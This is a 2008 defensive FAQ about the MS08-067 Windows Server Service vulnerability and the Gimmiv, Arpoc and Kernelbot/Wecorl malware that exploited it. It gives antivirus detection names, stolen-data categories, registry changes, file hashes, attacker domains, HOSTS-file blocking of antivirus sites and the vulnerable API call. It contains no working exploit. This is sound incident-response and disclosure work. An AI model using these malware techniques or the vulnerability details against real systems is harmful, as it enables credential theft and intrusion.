Trend Micro – WORM_GIMMIV.A since 5.617.00
- TSPY_GIMMIV.A since 5.617.00

where ’2008.10.24.04’ states that these virus signatures or newer include a protection for the malware.

Alias names CVE-2008-4250, W32.Slugin.A and W32/NetAPI32.RPC!exploit.M20084250 are in use too.

Update: Added Arpoc section:
BitDefender – Win32.Worm.Gimmiv.B
CA – Win32/Gimmiv.B since 31.6.6172
Dr.Web – Win32.HLLW.Jimmy.3 since unknown signatures
McAfee – Spy-Agent.da since DAT5414, its DLL component detected as Spy-Agent.da.dll

Update: Added RPC worm section:
AntiVir – TR/Expl.MS08-067.G
BitDefender – Trojan.Downloader.Shelcod.A
ClamAV – Exploit.MS08-067 since 8566
Eset – Win32/Exploit.MS08-067.B, C and D since 3576
F-Secure – worm component as Exploit.Win32.MS08-067.g
- kernel component as Rootkit.Win32.KernelBot.dg
Ikarus – Virus.Exploit.Win32.MS08.067.g
Kaspersky – Exploit.Win32.MS08-067.g since 31th Oct
McAfee – kernel component as KerBot!37E73FFB since DAT5422
Microsoft – Exploit:Win32/MS08067.gen!A
- Trojan:Win32/Wecorl.A
- Trojan:Win32/Wecorl.B
Norman – kernel component as w32/agent.jbvo
Prevx – Worm.KernelBot
Sophos – Mal/Generic-A
- Exp/MS08067-A since 4th Nov
Symantec – W32.Wecorl since 3rd Nov (latest daily certified version) rev. 052
- W32.Kernelbot.A since 3rd Nov (latest daily certified version) rev. 041
Trend Micro – WORM_KERBOT.A since 5.637.00
- WORM_WECORL.A since 5.640.05

Q: What kind of payload this Trojan horse has?
A: This is what the Trojan gathers (according to Microsoft’s document):
*User Name
*Computer Name
*Network Adapters / IP Addresses
*Installed com objects
*Installed programs and installed patches
*Recently opened documents
*Outlook Express and MSN Messenger credentials
*Protected Storage credentials

Q: What kind of Trojan has attacked to the targeted organizations?
A: It is a very sophisticated and dangerous Trojan. It encrypts the data with AES and deletes itself after its operations. Before sending the gathered data to the attacker it reports the AV software of the installation (from HKEY_LOCAL_MACHINE\SOFTWARE\) as a parameter (BitDefender, Jiangmin, Kingsoft, Kaspersky, Microsoft OneCare, Rising and Trend Micro).

Q: Are there any changes to Windows registry or the file system made by this malware?
A: The following registry key is being modified:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sysmgr
The display name of the service being generated is System Maintenance Service.
The malicious files are being copied to System32\wbem folder including basesvc.dll, syicon.dll, winbase.dll and winbaseInst.exe. NOTE: After being executed the Trojan deletes these files and itself.
Update: According to Arbor Networks the file C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\macnabi.log is being dropped too.

Q: Now I know that my anti-virus software can report computers in my organizations as clean because the Trojan has deleted itself from the system. What are the malicious executables that I can search them and examine logs etc.?
A: There are several names and all of the files has same size mentioned earlier, i.e. 397,312 bytes.
Update: According to McAfee the size varies from 49,152 to 417,792 bytes.

The most common file name is N2.exe. However, file names Nx.exe are widely spreading as well; [x] represents a number from 1 through 9.
The MD5 hash of the one specific N2.exe file in the wild on 23rd Oct is f173007fbd8e2190af3be7837acd70a4.
Update: To list one more the MD5 hash of n5.exe is 24cd978da62cff8370b83c26e134ff4c.

Prevx database knows the following file names too:
15197927.EXE, 00003106.EXE, NVIR/N2.EXE, 18912604.EXE, 54800477.DAT
The format of the file can be NVIR/N3.EXE etc. too.

Q: What type of network connections these malware make?
A: Gimmiv.A sends an ICMP Echo Request packet to multiple IP addresses including the string ”abcde12345fghij6789”.

Q: How can I recognize malicious files spreading RPC worm (Exploit.Win32.MS08-067.g)?
A: The files names reported in the wild are 6767.exe and KernekDbg.exe.

Q: What is the size of these files?
A: The size are various, but many of them are 16,384 bytes long.

Q: What kind of network connections the worm makes and are there any modifications made to Windows registry?
A: It connects to robot.10wrj.com, ls.cc86.info, ls.lenovowireless.net and ls.playswomen.com. Yes, the worm will add the new value to HKLM\SOFTWARE\Licenses and HKLM\SOFTWARE\Google.

Q: Are there any changes to Windows HOSTS file?
A: Yes, the lines
127.0.0.1 dnl-cn1.kaspersky-labs.com
127.0.0.1 alert.rising.com.cn
127.0.0.1 www.mcafee.com
will be added yo the HOSTS file.

Q: Is there CVE name available to this issue?
A: Yes. The Common Vulnerabilities and Exposures project (cve.mitre.org) has released the following CVE candidate CVE-2008-4250:
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Q: What is the CVSS severity of this vulnerability?
A: The CVSS (Common Vulnerability Scoring System) score is 10.0 (High).

Q: Is there a CWE class assigned?
A: The CWE (Common Weakness Enumeration) ID of the vulnerability, in turn, is #119, i.e. Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer class:
cwe.mitre.org/data/definitions/119.html

Q: Is there a CME name available?
A: No. The Common Malware Enumeration (CME) project has not assigned an identifier for these malware.

Q: When exploiting this RPC vulnerability is the authentication needed?
A: On Windows 2000, XP, and Windows Server 2003 systems arbitrary code can be run without authentication. On Vista systems the authentication is needed.

Q: What is the vulnerable component?
A: It is netapi32.dll (Net Win32 API DLL). On Windows 2000 SP4 the non-affected version is 5.0.2195.7203, on Windows XP SP3 5.1.2600.5694 and on Vista SP1 there are several 6.0.6000.xxxx versions, see KB958644 for details. The vulnerable Windows API call is NetPathCanonicalize(), in turn.
Secunia has renamed its vulnerability advisory to Windows Path canonicalisation vulnerability. It states that processing directory traversal character sequences in path names enables to send drafted RPC requests to the Server Service.

(c) Juha-Matti Laurio, Finland (UTC +2hrs)
The author has released several Microsoft Office 0-day vulnerability FAQ documents, e.g.
blogs.securiteam.com/index.php/archives/759
and Windows Vector Markup Language vulnerability FAQ’s
blogs.securiteam.com/index.php/archives/640
since 2006.

Revision History:
1.0 25-10-2008 Initial release
1.1 26-10-2008 Updated document and some minor fixes
1.2 26-10-2008 Major updates to Trojan section, added credits, information of non-affected dll versions and Snort rule reference
1.3 27-10-2008 Added information about the various file names and sizes, a separate Arpoc section and Nessus plugin reference and [UPDATED] to the title
1.4 27-10-2008 Several virus description release dates and ID’s added, updated the summary to clarify the characteristics of the exploitation
1.5 28-10-2008 Added Microsoft Security Advisory #958963 link
1.6 29-10-2008 Added names to Arpoc Trojan section
1.7 03-11-2008 Updated the exploit/PoC section and added information about the worm exploiting the vulnerability
1.8 04-11-2008 Added names to RPC worm section, updated the summary
1.9 05-11-2008 Added information about Windows HOSTS file modification and new worm names

Credits: Microsoft, AV vendors, Prevx Malware Center

Share